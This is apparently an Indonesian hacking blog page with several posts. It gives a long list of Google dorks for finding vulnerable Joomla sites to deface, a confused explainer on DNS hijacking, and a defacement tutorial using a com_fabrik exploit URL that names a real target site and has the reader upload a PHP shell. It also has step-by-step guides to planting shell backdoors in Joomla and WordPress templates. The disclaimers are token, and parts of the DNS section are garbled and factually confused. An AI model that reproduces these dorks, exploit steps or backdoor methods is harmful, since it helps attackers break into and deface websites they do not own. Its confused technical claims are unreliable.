Google Crash: CMS

Tampilkan postingan dengan label CMS. Tampilkan semua postingan

Dork Com_User Terbaru

Dork Com User Terbaru - Dork Com_User kali ini untuk stok tahun 2014 - 2016 mendatang wkwk karena sudah banyak bertebaran google dork untuk exploit joomla yang satu ini , disamping mudahnya meretas website dengan menggunakan exploit joomla com_user kita juga dimudahkan dengan google dork untuk mencari target-target kita, buat lu yang belum tau deface dengan method com user bisa baca-baca " tutorial deface dengan tehnik com_user " sebenernya masih banyak dork khusus lainnya tapi cara pengeksekusian nya tentu berbeda dengan com_user karena ini dork untuk mencari web joomla dan pengeksekusian tentu dengan exploit joomla "berlaku untuk semua web ber CMS joomla" itulah keunggualan dari Com_User asal ada form registrasi didalamnya kita mencoba mencari celah jika tidak menemukan vuln ya cari lainnya.

Dari Dork diatas mungkin lu juga butuh dork lainnya seperti dork sql Injection / havij untuk koleksi lebih dari 1000 dork koleksi dari berbagai forum seperti carding school madleets dan lainnya yang gue rangkum disini untuk kepentingan pribadi maupun umum kalo berminat untuk bookmark silahkan lihat thread dibawah

Kumpulan Berbagai List Google Dorking

Dork Com_User Terbaru For since 2014

index.php?option=com_users&view=registration
inurl:Home Page Beez2 joomla 1.6 index.php using-joomla site:.com
inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:br
site:com inurl:Home Page Beez joomla 1.6 index.php using-joomla
inurl:index.php joomla! 1.7 - open source content management site:
inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders site:com
intext:joomla! 1.7 - open source content management site:jp
inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:id
inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2 site:as
inurl:index.php/19-sample-data-articles/joomla site:com 
intext:Joomla! is a flexible and powerful platform, 
intext:Joomla! 1.6 
inurl:type=rss 
intext:Joomla! 1.6 - Open Source Content Management 
Home Page Beez joomla 1.6 
Home Page Beez2 joomla 1.6 
Home Page Beez5 joomla 1.6 
inurl:index.php/using-joomla/extensions/components/users-component/registration-form 
inurl:/administrator/index.php intext:Use a valid username and password to gain access to the administrator backend. Joomla!® is free software released under the GNU General Public License.
inurl:index php using joomla extensions plugins format feed type rss 
intext:”joomla! administration login” site:my
inurl:index.php/using-joomla/extensions/plugins site:.com
inurl:index.php/using/joomla site:com
inurl:index.php/using-joomla/extensions/components/content-component/article-category-list/50-upgraders
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/28-park-site/photo-gallery
inurl:index.php/using-joomla/parameters/26-sample-data-articles/park-site
Inurl:index.php/plugins site:com
Inurl:index.php/rss=feed site:com
inurl:index.php/joomla/content/category-blog/24-joomla site:com
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/84-gd-articles site:hk
inurl:Home Page Beez joomla 1.6 index.php using-joomla
inurl:index.php joomla! 1.7 – open source content management site:br
inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders site:com intext:joomla! 1.7 – open source content management site:jp
inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:id inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2 site:as
inurl:index.php/19-sample-data-articles/joomla site:com
inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:br site:com
inurl:index.php/ Joomla!® 1.6 is free software released under the GNU General Public License site:.org
inurl:Home Page Beez joomla 1.6 index.php using-joomla site:.info
inurl:index.php/using-joomla/extensions/plugins site:.com 
inurl:index.php/using/joomla site:com
inurl:index.php/using-joomla/extensions/components/content-component/article-category-list/50-upgraders 
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/28-park-site/photo-gallery 
inurl:index.php/using-joomla/parameters/26-sample-data-articles/park-site
Inurl:index.php/plugins site:com 
Inurl:index.php/rss=feed site:com 
inurl:index.php/joomla/content/category-blog/24-joomla site:com 
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/84-gd-articles site: 
inurl:Home Page Beez joomla 1.6 index.php using-joomla 
inurl:index.php joomla! 1.7 - open source content management site:
inurl:index.php/19-sample-data-articles/joomla site:com 
inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:br site:com
intext:Usar un nombre de usuario y contraseña válido para poder tener acceso a la Administración.. Joomla!®
inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:br
site:com inurl:Home Page Beez joomla 1.6 index.php using-joomla
inurl:index.php joomla! 1.7 - open source content management site:
inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders site:com
intext:joomla! 1.7 - open source content management site:jp
inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:id
inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2 site:as
inurl:index.php/19-sample-data-articles/joomla site:com
allintext:"Use a valid username and password to gain access to the administrator backend."
inurl:/index.php?option=com_users intext:joomla
inurl:/joomla/index.php?option=com_users
inurl:/v1/index.php?option=com_users
inurl:/v2/index.php?option=com_users
inurl:/en/index.php?option=com_users
inurl:/index.php?option=com_users&view=registration intext:Joomla! 1.5
inurl:/index.php?option=com_users&view=reset
inurl:/index.php?option=com_user&view=reset site:gr
intext:COM_LOGIN_JOOMLA_ADMINISTRATION_LOGIN
intext:Joomla!® is free software released under the GNU General Public License.
inurl:/index.php?option=com_users&view=registration site:com.
inurl:index.php/19-sample-data-articles/joomla
intitle:home page beez joomla 1.6 inurl:com/joomla
intitle:home page beez 2 inurl:com/joomla
intitle:home page beez 5 inurl:com/joomla
intitle:home page atomic inurl:com/joomla
intext:Joomla!® - бесплатное программное обеспечение, распространяемое по лицензии GNU General Public License
Локализация: Портал Joomla! по-русски. Техническая поддержка: Форум русской поддержки Joomla! CMS inurl:/administrator
intext:Veuillez utilisr un identifiant et un mot de passe valides pour accéder à l'administration. site:it
intext:Введите существующие логин и пароль доступа к Панели управления. site:ru
inurl:index.php/using-joomla/extensions/components/users-component/registration-form
inurl:index.php/using-joomla/extensions/plugins site:.com 
inurl:index.php/using/joomla site:com
inurl:index.php/using-joomla/extensions/components/content-component/article-category-list/50-upgraders 
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/28-park-site/photo-gallery 
inurl:index.php/using-joomla/parameters/26-sample-data-articles/park-site
Inurl:index.php/plugins site:com 
Inurl:index.php/rss=feed site:com 
inurl:index.php/joomla/content/category-blog/24-joomla site:com 
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/84-gd-articles site:.com
inurl:Home Page Beez joomla 1.6 index.php using-joomla
inurl:index.php joomla! 1.7 - open source content management site:com
inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders site:com
intext:joomla! 1.7 - open source content management site:jp
inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:.com
inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2 site:as 
inurl:index.php/19-sample-data-articles/joomla site:com 
inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:com
intext:"joomla! 1.7 - Open Source Content Management" inurl:sites-guide.co.vn
intext:"joomla! 1.7 - Open Source Content Management" inurl:statscrop+gov
intext:"joomla! 1.6 - Open Source Content Management" inurl:statscrop+gov
intext:"joomla! 1.7 - Open Source Content Management" inurl:statmyweb+gov
intext:"joomla! 1.6 - Open Source Content Management" inurl:statmyweb+gov
intext:"joomla! 1.6 - Open Source Content Management" inurl:gov rank
intext:Joomla! is the mobile-ready and user-friendly way to build your website.

Cukup segitu koleksi gue mungkin lu juga sudah punya koleksi dan ingin ditambahkan kedalam list diatas silahkan contact aja gue di facebook Bang Zendy indah nya berbagi tidak akan mengurangi ilmu dan jika ingin hasil yang lebih optimal biasakan untuk mengembangkan dork diatas agar mendapatkan hasil yang lebih maksimal sekian Dork Com_User terbaru semoga bermanfaat untuk loe bray Salam Ganteng

Pengertian Dns Hijacking

Pengertian Dns Hijacking - DNS Hijacking (Pembajakan DNS) sering terjadi di dunia cyber ini khusunya seperti kasus Wildan kemarin tentang peretasan website pemerintahan itu tercium sedikit bau-bau menggunakan DNS Hijacking yang awal mulanya dari SQL-Injection berbeda dengan itu DNS Hijacking ini cukup kejam karena si Hacker akan mengcopy hasil karya orang lain biasanya dengan meniru cookies user supaya bisa mengendalikan aktifitas user tersebut jadi intinya memotong suatu arus lalu lintas suatu web server ke pengguna bukan memotong maksutnya mengalihkan ke cookies si user.
Nah untuk DNS Hijacking kali ini kita berbicara tentang Website seperti yang masih hangat diperbincangkan kemarin ini yaitu tentang peretasan search engine besar yaitu google.co.id silahkan lihat beritanya "Google diretas oleh Madleets" padahal belum lama dari itu team madleets juga telah berhasil merubah tampilan google.com.my dan google.my ya itu sangat jelas menggunakan tehnik DNS Hijacking yang sempat menggemparkan seluruh dunia maya saat itu, Madleets sendiri adalah Sebuah komunitas yang berasal dari pakistan tidak ada unsur apapun dalam perubahan itu hanya sebuah pesan kecil saja yang menunjukan bahwa tidak ada yang tidak mungkin bahkan untuk meretas google sekalipun.

Pengertian DNS Hijacking

Pengertian DNS Hijacking adalah Modifikasi yang tidak sah pada suatu DNS server atau Merubah alamat DNS yang mencoba mengarahkan pengguna untuk mengakses halaman Website ke halaman Website yang berbedadan terlihat sama tapi mengandung konten yang berbeda seperti kasus google.co.id yang diretas pekan lalu suatu ketika kita mengunjungi google.co.id yang keluar malah Stamped by Madleets nah disini tercium modifikasi tidak sah yang disebut DNS Hijacking karena di berbagai IP seperti Chrome tampilan google.co.id masih biasa-biasa saja.

Tujuan Dilakukan nya DNS Hijacking

Tujuan Dilakukannya DNS Hijacking oleh Hacker sangat memiliki kesamaan dengan Cracker namun para Hacker/Hijacker yang melakukan DNS Hijacking Lebih parah pengaruhnya dari pada para Cracker , selain tujuan utma mencuri data dan informasi pendunkung lain , enggak jarang juga sistem yang dituju diambil alih bahkan dirusak ya masih sama seperti kasus google.co.id yang masih hangat baru-baru ini.

Session DNS Hijacking / Alur DNS Hijacking

Mengenal Fungsi DNS Server

Salah satu fungsi dari sebuah server DNS adalah menerjemahkan nama domain ke alamat IP yang aplikasi harus terhubung ke sumber daya Internet seperti situs web. Fungsi ini didefinisikan dalam berbagai standar internet formal yang mendefinisikan protokol secara rinci. DNS server secara implisit dipercaya oleh internet-menghadap komputer dan pengguna untuk benar menyelesaikan nama ke alamat yang sebenarnya yang terdaftar oleh pemilik domain internet

Jenis-Jenis Hijacking

Page Hijacking
Hijack Attack
BlueJacking
DNS Hijacking
Browser Hijacking
Domain Hijacking
HijackThis
Homepage Hijacking
IP Hijacking
Reverse Domain Hijacking
Session Hijacking

Cukup Banyak Jenis Hijacking Ditas akan tetapi disini gue share yang lebih sering dilakukan oleh Hacker/Hijacker yaitu DNS Hijacking karena lagi banyak digembar gemborkan oleh beberapa kalangan dan sudah mulai juga banyak yang meniru tehnik DNS Hijacking ini.

Cara Memberhentikan DNS Hijacking

Trik Pertama

Klik “Start” dan klik “Control Panel”
Pilih Hardware and Sound Terus Klik “Device Manager” pilihan di bawah “Sistem dan Pemeliharaan” bagian.

Trik Kedua

Klik “View” pilihan di jendela yang muncul.
Kemudian klik “Tampilkan Device Drivers tersembunyi.”
Gulir kursor di dalam daftar driver dan pilih salah satu driver trojan yang muncul dalam daftar.
Driver trojan adalah:TDSSserv.sys TDSSxyz.sys dimana xyz adalah karakter
sysKlik kanan nama file untuk driver dan klik “Disable.” Klik “Yes” pada konfirmasi yang muncul.

Trik Ketiga

Klik “Start” dan klik panah bawah di “Shutdown” bagian.
Klik “Restart.” Buka browser Web setelah lu restart nah lu lu gak akan diarahkan ke dalam situs yang lain selesai.

Berikut Pengertian Dns Hijacking Semoga Pengupasan Habis tentanga DNS Hijacking ini bisa membuat lu semakin tahu bahaya dan bisa mengantisipasi jika terjadi pada suatu website kesayangan lu dan jika masih kurang jelas pada tutorial memberhentikan DNS Hijacking silahkan bertanya dikotak komentar dibawah sekian dan terima kasih.

Tutorial Deface Website Dengan Exploit Com Fabrik

Tutorial Deface Website Dengan Exploit Com_Fabrik - Kembali disini gue membahas tentang defacing yang cukup mudah yaitu com_fabrik yang sudah banyak digunakan di kalangan defacer indonesia. Tutorial kali ini cukup simple karena kita akan emncari website vuln lalu menanam shell secara langsung dan bisa mengakses web secara keseluruhan kecuali untuk memposting akan tetapi lu juga bisa membuat user admin baru dengan cara login di mysql dan disana terlihat jelas dibagian option web joomla akan ada user admin dan kita bisa menghapus maupun membuat ya dilain waktu nanti akan gue share tutorial nye.

Masih tentang Defacing buat yang belum mengerti apa itu defacing bisa mampir baca-baca "Pengertian Deface" , nah disamping itu kali ini kita akan meng-eksekusi website berbasis Joomla gausah ribet-ribet karena ini cukup mudah dengan cara google dorking terus uploud shell jadi langsung tebas kalo untuk blogger kaya ane sayang buat nebas mending buat tanam backlink haha oke berikut penjelasan singkta tentang com_fabrik sekarang lu bisa mengikuti tutorial simple nya berikut ini

Tutorial Deface Website Dengan Exploit Com Fabrik

Sebelum memulai untuk melakukan tutorial deface website dengan exploit com_fabrik kali ini silahkan persiapkan alat-alat untuk pengeksekusiannya berikut ini dan jangan lupa siapkan kopi + rokok biar lebih kalem mengikuti tutorial kali ini.Bahan-Bahannya

Shell Bejak / Lainnya kalau lu sudah ada
Google Dork

inurl:index.php?option=com_fabrik
inurl:index.php/component/fabrik/ site:
inurl:index.php?option=com_fabrik&view= site:
inurl:importcsv.php site:

Penjelasannya untuk site : bisa diisi dengan nama domain contoh site :.id atau sebagainya lebih jelas untuk itu mampir ke "nama domain berdasarkan negara" disitu gue share nama domain dari seluruh negara dan tersedia juga domain TLDs dan lainnya

Exploit Com_Fabrik simpen di notepad

index.php?option=com_fabrik&amp;c=import&amp;view=import&amp;filetype=csv&amp;tableid=1echercher

Selanjutnya Step by Step

Pertama kita buka google.com lalu searching menggunakan Google Dork diatas
Klik Gambar Untuk Perbesar
Pilih salah satu nya contoh gue pilih inurl:index.php?option=com_fabrik dan pilih salah satu target disini gue pilih http://www.alertnewsnet.org/index.php?option=com_fabrik&view=table&tableid=23
Klik Gambar Untuk Perbesar
Nah untuk web diatas yang backgroundnya hitam ganti dengan exploit com_fabrik dan coba buka di tab baru, dan kalau vuln biasanya sperti ini nah disitu sekarang uploud shell kalian ingat shell harus ber extensi .php contoh "gantengers.php" silahkan diuploud .
Klik Gambar Untuk Perbesar
kalau sukses silahkan buka shell http://www.sitekorban.com/media/shellkamu.php
Klik Gambar Untuk Perbesar
Selesai

Untuk mendapatkan hasil yang sempurna silahkan cari terus dan kembangin dork diatas , karena sudah banyak yang menggunakan trick ini jadi kita harus bisa bermain dengan dork untuk mendapatkan hasil pencarian yang lebih baik lagi dan tentu berbeda dari yang didapatkan oleh orang lain dan lu bisa mengeksekusi web-web dengan mudah karena telah memiliki dork sendiri untuk exploit yang satu ini.

Sekian Tutorial Deface Website Dengan Exploit Com Fabrik Semoga bermanfaat perlu diingat ini hanya bahan materi pembelajaran semua yang anda lakukan diluar tanggung jawab gue dan dosa ditanggung pengguna tutorial ini "saya berlepas diri terhadap apa yang kamu kerjakan dan kamu berlepas diri terhadap apa yang saya kerjakan" salam super.

Cara Uploud / Tanam Shell Backdoor Di Joomla

Cara Uploud / Tanam Shell Backdoor Di Joomla - Uploud Shell Backdoor Di Joomla itu kadang gampang kadang juga susah kenapa demikian ya mana gue tau itulah anehnya CMS Joomla kadang bahasanya ribet tapi kalau buat master-master yang udah hafal seluk beluknya pasti gak jadi masalah , nah masalahnya gue nubie men ~_~.

Nah Beda Halnya dengan Wordpress kalau gak percaya bisa cek postingan gue kemaren Cara Memasang Shell Pada Wordpress nah di blog gantengers ini akan dibeberkan tips uploud shell di joomla + pict monggo disimak

Sebelum membaca artikel ini ada baiknya mampir ke artikel berhubungan dengan joomla berikut ini adalah tutorial nganuin web joomla monggo dilihat
[+] Cara Deface Website Dengan Tehnik Com_User

Cara Uploud Shell Backdoor Di Joomla

1. Pertama silahkan ente login dulu mas bro di web yang udah ente dapetin

Cara Uploud / Tanam Shell Backdoor Di Joomla

2. Maka akan terbuka seperi gambar dibawah dan pilih Extensiones > Gestor de Plantillas itu cara ngerubah template nya bro kalo bahasanya lain inget aja dia urutan ketiga

3. Nah jangan lupa klik Plantillas kayak gambar dibawah

4. Nah nanti keluar menu yang mau kita tanemin shell nah disini saya pilih tempkale Beez5

5.Pilih Menu Index.php atau sepert gambar panah dibawah ini

6. Nah silahkan ganti script dibawah dengan script shell code anda

7. Lalu Klik Save itu disamping kanan ceklis dan kalau sukses maka tampilannya akan begini

8. langkah terakhir kita akan buka directory shell yang udah kita ubah tadi , misalkan www.localhost.com/templates/beez5/index.php beez5 bisa di ubah tergantung nama theme yang kamu ubah di awal tadi :)

Sekian Artikel Tutorial Uploud / Tanam Shell Backdoor Di Joomla semoga bermanfaat untuk anda Jika tutorial diatas masih kurang jelas silahkan budayakan bertanya di komentar dan kami tidak bertanggung jawab atas apa yang anda lakukan ini hanyalah materi pembelajaran , jika ada web orang lain diretas oleh anda kami tidak bertanggung jawab dan dosa anda sendiri yang menanggungnya sekian dan terima kasih

Cara Uploud/Tanam Shell Backdoor Pada Wordpress

Hi Brother and Sister ketemu lagi dengan blog gantengers.web.id ngoahaha kali ini gue mau bahas tentang Uploud Menguploud Shell Backdoor di CMS Wordpress mungkin loe belum tau apa yang gue maksut tapi disini gue share tutorial simple uploud shell backdoor diwordpress tapi dilain hal itu ini hanya berlaku untuk web yang ber-CMS Wordpress tidak berlaku untuk Joomla Drupal atau sebagainya nah sebelumnya gue pernah ngepost juga neh "tutorial uploud shell backdoor Pada Joomla " nah disana untuk CMS Joomla dan dilain waktu gue akan buat tutor uploud shell ke CMS lainnya sesuai request teman-teman juga.

Buat yang belum tau pengertian shell backdoor itu adalah pintu belakang atau celah yang dibuat oleh attacker untuk mempermudah akses sepenuhnya pada suatu website tanpa proteksi password atau berpassword , shell backdoor memiliki banyak kegunaan , disana loe bisa tanam-menanam dan tentunya bisa mencuri cpanel nah sangat berbahaya bukan dan ilegal tentunya tapi ahsudahlah silahkan simak tutorial Uploud Shell pada wordpress berikut.

Sebelum memulainya download dulu bahannya

#Shell Bejak
Nah Setelah mendownload Shell Backdoor diatas yang fungsinya untuk kita uploud ke dalam web
Wordpress berikut jika mengalami masalah silahkan hidden dulu antivirus anda atau windows
defender mungkin ini terdeteksi virus tapi tenang ini bukan virus kok bro oke mari simak lagi
artikelnya

Berikut Tutorial Uploud Shell Pada Wordpress

1. Silahkan Login Ke Dalam Website Wordpress Yang Sudaah Ditangan lu
2. Dan Jika Sudah Terbuka Menu Dasboard silahkan pilih Appearance>Editor seperti gambar dibawah